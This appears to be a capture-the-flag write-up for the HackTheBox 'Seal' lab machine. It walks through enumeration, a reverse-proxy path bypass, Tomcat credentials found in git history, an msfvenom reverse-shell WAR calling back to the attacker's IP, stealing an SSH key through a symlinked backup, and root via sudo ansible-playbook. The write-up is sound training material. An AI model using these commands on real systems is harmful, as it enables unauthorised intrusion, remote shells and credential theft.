Seal

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.250 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p80 10.10.10.250 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

If we take a look at the HTTPS server, we'll see a static website with no functionality.

Let's do some fuzzing and see if there are any subdirectories.

gobuster dir -u https://10.10.10.250/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -k

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

  • -k skip TLS certificate verification.

It looks like there is running a Tomcat server. But the problem is that if we try to access /manager/html, we'll get redirected to an HTTP server, which doesn't exist.

curl -I -k 'https://10.10.10.250/manager/html'

  • -I fetch the HTTP headers only.

  • -k proceed for server connections considered insecure.

But, as we can see with the Wappalyzer extension, there is a reverse proxy with nginx.

Wappalyzer is a browser extension capable of detecting the technology stack of any website. It reveals the technology stack of any website, such as CMS, ecommerce platform or payment processor, as well as company and contact details.

https://www.wappalyzer.com/

Exploitation

As Orange Tsai explained in his BlackHat 2018 presentation called Breaking Parser Logic!, we can bypass this reverse proxy. If we search for /manager;name=orange/html we'll be able to see the login popup.

https://10.10.10.250/manager;name=orange/html

But we don't have credentials. Let's take a look at the website on port 8080.

It is a GitBucket server. Let's create a new account.

Then, log in.

First thing we see, is that there are two repositories called seal_marked, and infra.

If we take a look at the seal_market repository, we'll see the app, nginx and tomcat directories.

Let's see if there is the common file tomcat-users.xml file, which usually contains credentials.

But, if we check it's content, we won't see any credentials.

But we can check previous commits. Let's click on History.

And there are two commits.

If we take a look at the last commit, we'll finally see some credentials.

Let's try those credentials on the /manager;name=orange/html login panel.

And we get in the Tomcat Web Application Manager.

Time to get a shell. If we check out the web page, we could see there is a Deploy section in which we can upload WAR files.

The following link explains what WAR files are:

http://java.boot.by/wcd-guide/ch02s04.html

At this point, the idea is to create a WAR payload with msfvenom, upload it to the web page, and get a reverse shell.

msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.15 lport=4444 -f war -o reverse_shell.war

  • -p indicates the type of payload.

  • lhost local host IP.

  • lport local port of the listener.

  • -f output format.

  • -o save the output to a file.

All we have to do is upload the payload and hit Deploy.

Under the Application section, a new row should appear with the path of our uploaded payload.

Finally, all we have to do is set a netcat listener on port 4444 and hit the /reverse_shell path.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

As the flag is under the /home/luis directory, we will have to become the luis user.

find / -name user.txt 2>/dev/null

Doing some enumeration, you'll find the /opt/backups directory.

ls -l /opt/backups

Under the playbook/ directory, we'll find the run.yml file with some content.

cat /opt/backups/playbook/run.yml

So, it looks like there is some scheduled job doing a copy of the /var/lib/tomcat9/webapps/ROOT/admin/dashboard into the /opt/backups/files directory. Then, the script compress that directory into a file under the /opt/backups/archives directory. Finally, it removes the /opt/backups/files directory. Let's take a look at the directory that is being compressed.

ls -l /var/lib/tomcat9/webapps/ROOT/admin/dashboard

And it looks like we have full permissions on the uploads directory. We could make a symbolic link from that directory to the home directory of the luis user. So then we can decompress the compressed file and see what's on his home directory.

cd /var/lib/tomcat9/webapps/ROOT/admin/dashboard

ln -s -f /home/luis uploads

Now, we wait, and then copy the last compressed file inside the /opt/backups/archives to the /tmp directory.

cp /opt/backups/archives/backup-2022-07-04-19:57:33.gz /tmp/

Now, let's go to the /tmp directory, and decompress the file.

gunzip backup-2022-07-04-19:57:33.gz

Now we have the backup-2022-07-04-19:57:33 file. We can see that it is a tar file.

file backup-2022-07-04-19:57:33

Let's rename it to backup.tar, and then decompress it again.

mv backup-2022-07-04-19:57:33 backup.tar

tar -xvf backup.tar

Finally, we see the dashboard/uploads directory with the luis home folder in it.

ls -l dashboard/uploads/

Inside it, we'll see the id_rsa private key.

cat dashboard/uploads/luis/.ssh/id_rsa

Let's copy it to the id_rsa file on our local machine. And give it the right permissions.

nano id_rsa

chmod 600 id_rsa

Now, we can become the luis user via SSH without the need of his password. Then we'll be able to grab the user flag.

ssh -i id_rsa luis@10.10.10.250

Let's list the sudo privileges.

sudo -l

We can run ansible-playbook as root. If we search for that tool on the GTFOBins list, we'll see that we can get a shell as the root user.

GTFOBins is a great list of binaries that can be used to escalate privileges if you have the right permissions.

https://gtfobins.github.io/

TF=$(mktemp)

echo '[{hosts: localhost, tasks: [shell: /bin/bash </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF

Finally, if we execute the following command, we'll get a shell as the root user, and then all we have to do is reap the harvest and take the root flag.

sudo ansible-playbook $TF

Last updated

Was this helpful?